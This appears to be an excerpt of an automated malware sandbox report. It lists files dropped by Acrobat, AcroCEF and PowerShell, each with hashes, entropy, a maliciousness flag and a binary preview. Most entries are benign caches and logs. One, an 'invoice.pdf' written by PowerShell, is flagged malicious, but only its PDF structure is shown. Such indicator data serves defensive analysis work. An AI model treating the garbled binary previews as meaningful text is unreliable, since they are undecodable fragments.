SSDEEP:	24:TLhx/XYKQvGJF7urs/nRZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudc+:TFl2GL7ms/jXc+XcGNFlRYIX2v3kwF
MD5:	00C7214C42FEDA4636A9A9311D3ADA0A
SHA1:	A6288E41BF98FDA2714E8E6716419D29E346B0C6
SHA-256:	9A68F1B62E49C7EB4F09FA2517AC4D4404B3166C10B9A7BD1C3AA4A481856E81
SHA-512:	B1C0370B9350D4EF1A87F9C6FDBC0B9843D555DE69587ECD852E701326130B9030A7F826F31E2A698D70F86ABA3B83D9B0E1BA29E33F417AA728C020967A3FF2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.5516933433292894
Encrypted:	false
SSDEEP:	24:7+tEEonUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxjqLxx/Xz:7MEfUXc+XcGNFlRYIX2vKqVl2GL7ms1
MD5:	A2EE8D37E6FCC45A073D19BF73189EA3
SHA1:	77608DFEFC8CD6B7117571A99E0DE6152E4FFB2A
SHA-256:	00EB7EEABF35F2491EA5F4C58DCD3A0C063071EF43778E114F04D70E0651BDB4
SHA-512:	948A7A5BC536A1646BBE7948820F7797D35EBBC7FADC0D742E01BEA651B5AE6A131C998D908A29BFA3FDB13B8251F02576C0F1A2A1D84EACAFC6BF257A333CFA
Malicious:	false
Preview:	.... .c.......!...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgS5lfkwEMLEZWhSwpmlagVEgklMYyu:6a6TZ44ADEUlswEMFhAEgkKK
MD5:	6FDB5CD9DFFD65ED66EFE23F7A380AEB
SHA1:	8761B7572811C0375BF4A6D9F9C46C3FB12D0549
SHA-256:	2B970CC9B06D761082690EC04FED058E5078FB33809C7232152AA1C965E96BE6
SHA-512:	DA89974609B4F4F6D0D95A0F8A3D3DF0D87EE65C6D47FCE747E3A85E8A72022CA1CA20861DBF24E4A2FFE73ED7BE465B360EF59F3734F402F8DB34851C4F9666
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSI67c63.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.47703473714639
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88ClIlHnH:Qw946cPbiOxDlbYnuRKdPln
MD5:	1347305AC7A3BF64675EAB2036EBADAF
SHA1:	1B5FCD3C964BD33E8C7239B23A8E77D36DEAD489
SHA-256:	5133ED5D71FCDFBB321940B15142AA31601536EC812D2F42BD6C6759B7EF1510
SHA-512:	A829BC3E3A1BA4A6D6015A2CF878BEF4C75F9A85A8FB045828B2D1FDF4473BCF270F9DBB51DC7232638135B04909149281420F4CBEA28BDF8EFA18B77C47D554
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.0.:.0.7.:.1.1. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5uvquxrf.zhw.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fh3g2kxb.5qm.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91pez7fp_7oii8l_3zc.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9qjdqm3_7oii8n_3zc.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 00-07-06-288.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.309947001021614
Encrypted:	false
SSDEEP:	384:kBv0nFmDU/GYvJcG30jbIOGzXIVH37XF2hcVyVYVsViVPNCbhjG0bbQZNu9ufiIH:kaecS68X
MD5:	904A2C7EE47D64266D4191C81F100F40
SHA1:	2985C8A520D8063EE54314AB1DA4104EDF78ABC9
SHA-256:	2CE278D28432BD472CB7CF8D0D4F6052C9AF8359591456AE893740F5AF21DA3B
SHA-512:	C42B7EED8450B351AFC9E9E2A6625524056C8578D8F2D0B718D46D8A2B24EC464EA5CF471A57F80A4023CD59849A96FF6D4EFC131C3754BB8F17C83BEE24F875
Malicious:	false
Preview:	SessionID=f3c0a983-6e7a-49c9-88ce-a9eaaa51bac1.1736572026300 Timestamp=2025-01-11T00:07:06:300-0500 ThreadID=7452 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=f3c0a983-6e7a-49c9-88ce-a9eaaa51bac1.1736572026300 Timestamp=2025-01-11T00:07:06:304-0500 ThreadID=7452 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=f3c0a983-6e7a-49c9-88ce-a9eaaa51bac1.1736572026300 Timestamp=2025-01-11T00:07:06:304-0500 ThreadID=7452 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=f3c0a983-6e7a-49c9-88ce-a9eaaa51bac1.1736572026300 Timestamp=2025-01-11T00:07:06:304-0500 ThreadID=7452 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=f3c0a983-6e7a-49c9-88ce-a9eaaa51bac1.1736572026300 Timestamp=2025-01-11T00:07:06:304-0500 ThreadID=7452 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.401331079824789
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcblcbSINbcbx:V3fOCIdJDeIN4
MD5:	9CED82A561C2E5E907C4E911BCEBE065
SHA1:	9F5AF5D002325D38589A6585C0DE3BA673B0C0A2
SHA-256:	8D10C35E9FDC22242B3C73FCBE7EA8055AF7437B3DF3EB51F1A176536B0502A8
SHA-512:	442DB811E5CCBB452167809E86C5B54273C8EC054B3B624619F17E5139500098259FC4E92640898D853449511C438B9AF3EBCE0C2420DFE821FCF97C3C0637DE
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\19e37f1f-187a-450b-96ca-77cb5f04583f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\364d6a98-98dd-4481-8b60-dc5f6cea5f76.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\a41ed4e8-ecf0-4dc5-8525-fc6e2d53f82f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/YkwYIGNPQbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oXGZd:DwZG2b3mlind9i4ufFXpAXkrfUs0qWLk
MD5:	38ED8E7B44D526DDA0F3E7608AF1AFA1
SHA1:	45E30A6789382E29AC870CCF92B514FB95742C45
SHA-256:	7B277E2332AE55A014D8C37CCC879D165E33315437F6197BEB153CD75E4EFBBF
SHA-512:	7169B1E4B2895A91FA0FBE4297CB70BE56D733084653334BB4E8421382F8F761DAD11B5D87277E0286A7C16CB53A2C79F96BB45F433D776E82A7CF45EA25121C
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\a9adf453-3aec-4bda-9b07-3eb3f43cad0c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/2wYIGNPRmOWL07otGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:OwZGDbWLxtGZN3mlind9i4ufFXpAXkru
MD5:	AA6641E4BFC58F44E603CD0EE74AE8FF
SHA1:	29F99293E45449226D99AE893FA31E428BA80BF8
SHA-256:	0C9CEF808C626D2412A4548C0F78FAFD52A30D49C36E1ED1CDA2BBF0E1B5F2F1
SHA-512:	65C9820CA8747BB78292D34D7AB4D1F26F73CA4D7DF2C97F3BD87D777B8D00E981AF6CEC2D078AF5BB660EEDE1480608EC701B6F55A1521C6390F42FFDE6D0A2
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
